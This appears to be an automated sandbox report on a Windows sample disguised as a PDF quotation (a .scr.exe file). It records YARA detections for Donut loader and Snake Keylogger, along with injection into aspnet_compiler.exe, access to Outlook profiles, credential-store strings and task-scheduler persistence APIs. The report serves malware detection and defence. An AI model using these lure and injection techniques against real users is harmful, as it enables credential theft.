Source: 00000004.00000002.2959415202.000001904EEC0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.2215561209.00000228E70FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: Process Memory Space: aspnet_compiler.exe PID: 7792, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: aspnet_compiler.exe PID: 7792, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c31a78.6.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c31a78.6.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c31a78.6.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c31a78.6.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c31a78.6.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880380000.2.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880380000.2.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880380000.2.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880380000.2.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c31a78.6.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c31a78.6.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c31a78.6.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880380000.2.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880380000.2.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@4/3

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7804:120:WilError_03

Source: QUOTATION_NOVQTRA071244PDF.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: QUOTATION_NOVQTRA071244PDF.scr.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050F66000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050F75000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: QUOTATION_NOVQTRA071244PDF.scr.exe

ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe "C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe"
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: QUOTATION_NOVQTRA071244PDF.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: QUOTATION_NOVQTRA071244PDF.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E7016000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6C31000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6C81000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214866648.0000022880380000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E7016000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6C31000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6C81000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214866648.0000022880380000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c81ab0.4.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6f2cb98.5.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6f2cb98.5.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6f2cb98.5.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6f2cb98.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6f2cb98.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c31a78.6.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c31a78.6.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6c31a78.6.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880110000.1.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880110000.1.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880110000.1.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880110000.1.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880110000.1.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880380000.2.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880380000.2.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880380000.2.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.22880090000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_NOVQTRA071244PDF.scr.exe.228f6e3e8f0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2214752450.0000022880090000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2215561209.00000228E6D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION_NOVQTRA071244PDF.scr.exe PID: 7268, type: MEMORYSTR

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Code function: 0_2_00007FFD9B89FA3D pushad ; iretd	0_2_00007FFD9B89FA47
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Code function: 0_2_00007FFD9B897967 push ebx; retf	0_2_00007FFD9B89796A
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Code function: 0_2_00007FFD9BAA4F9D push edi; retf	0_2_00007FFD9BAA59D6

